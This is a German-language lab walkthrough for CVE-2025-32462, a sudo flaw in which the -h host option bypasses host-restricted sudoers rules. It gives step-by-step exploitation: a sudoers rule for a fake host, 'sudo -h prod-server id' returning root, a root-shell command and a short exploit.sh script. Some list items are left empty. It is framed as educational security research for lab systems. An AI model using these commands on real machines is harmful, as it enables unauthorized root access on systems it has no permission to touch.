
CVE-2025-32462 is a local privilege escalation vulnerability in sudo
CVE-2025-32462 ist eine lokale Privilegieneskalations-Schwachstelle in sudo, die es einem Benutzer mit niedrigen Privilegien erlaubt, Befehle als root auszuführen, indem er hostnamen-beschränkte sudo-Regeln missbraucht. Das Problem liegt darin, wie sudo historisch mit der -h (Host)-Option während Autorisierungsprüfungen umging.
Wenn eine sudoers-Regel auf einen bestimmten Hostnamen beschränkt ist, sollte sudo die Ausführung nur erlauben, wenn der Systemhostname mit der Regel übereinstimmt. Aufgrund fehlerhafter Logik vertrauten betroffene Versionen einem benutzerbereitgestellten Hostnamen über sudo -h, was Angreifern erlaubte, die Beschränkung vollständig zu umgehen.
sudo erlaubte es dem Argument -h <hostname>, Autorisierungsentscheidungen zu beeinflussen. In anfälligen Versionen wurde der bereitgestellte Hostname während der Auswertung der sudoers-Regel vertraut, anstatt ihn streng gegen den tatsächlichen Hostnamen des Systems zu validieren.
Infolgedessen konnten hostbasierte sudo-Beschränkungen umgangen werden.
Bei erfolgreicher Ausnutzung kann ein lokaler Angreifer:
In realen Umgebungen ist diese Schwachstelle besonders gefährlich in:
| Komponente | Details |
|---|---|
| Betriebssystem | Debian 11 (Bullseye – ungepatcht) |
| sudo-Version | ≤ 1.9.13 |
| Zugriffsstufe | Lokaler Benutzer |
| Virtualisierung | VirtualBox |
⚠️ Hinweis: Moderne Ubuntu- und Debian-Versionen haben Patches zurückportiert, während sie ähnliche Versionsstrings beibehalten haben. Diese Schwachstelle kann nicht auf gepatchten Systemen reproduziert werden.
sudo --version
Erwartet (anfällig):
Sudo version 1.9.5p2
sudo useradd -m attacker
sudo passwd attacker
groups attacker
Erwartet:
attacker : attacker
Der Benutzer darf nicht zur sudo-Gruppe gehören.
Bearbeiten Sie sudoers sicher:
sudo visudo
Fügen Sie die folgende Zeile hinzu:
attacker prod-server = (root) ALL
prod-server ist ein falscher HostnameÜberprüfen:
sudo -l -U attacker
Erwartet:
User attacker may run the following commands on prod-server:
(root) ALL
Benutzer wechseln:
su - attacker
Versuch mit normalem sudo:
sudo id
Erwartet:
attacker is not allowed to run sudo on <hostname>
Auslösen der Schwachstelle:
sudo -h prod-server id
Erfolgreiche Ausnutzung Ausgabe:
uid=0(root) gid=0(root) groups=0(root)
Root-Shell starten:
sudo -h prod-server /bin/bash
Überprüfen:
id
#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id
Speichern als exploit.sh, ausführbar machen und als attacker-Benutzer ausführen:
chmod +x exploit.sh
./exploit.sh
| Aktion | Ergebnis |
|---|---|
| Normales sudo | ❌ Verweigert |
sudo -h prod-server id | ✅ Root |
Dies bestätigt eine erfolgreiche Privilegieneskalation.
Moderne Ubuntu-Versionen scheinen mit sudo-Versionen ausgeliefert zu werden, die in den betroffenen Bereich fallen. Allerdings hat Ubuntu den Sicherheits-Patch für CVE‑2025‑32462 zurückportiert, ohne den Upstream-Versionsstring zu ändern.
Infolgedessen:
sudo -h beeinflusst keine Autorisierungsprüfungen mehrDies unterstreicht die Bedeutung der Validierung des Schwachstellenstatus durch Verhaltenstests und nicht allein durch Versionsstrings.
sudo auf eine gepatchte VersionDiese Anleitung dient ausschließlich Bildungs- und defensiven Sicherheitsforschungszwecken. Testen Sie diese Schwachstelle nicht an Systemen, die Ihnen nicht gehören oder für deren Bewertung Sie keine ausdrückliche Erlaubnis haben.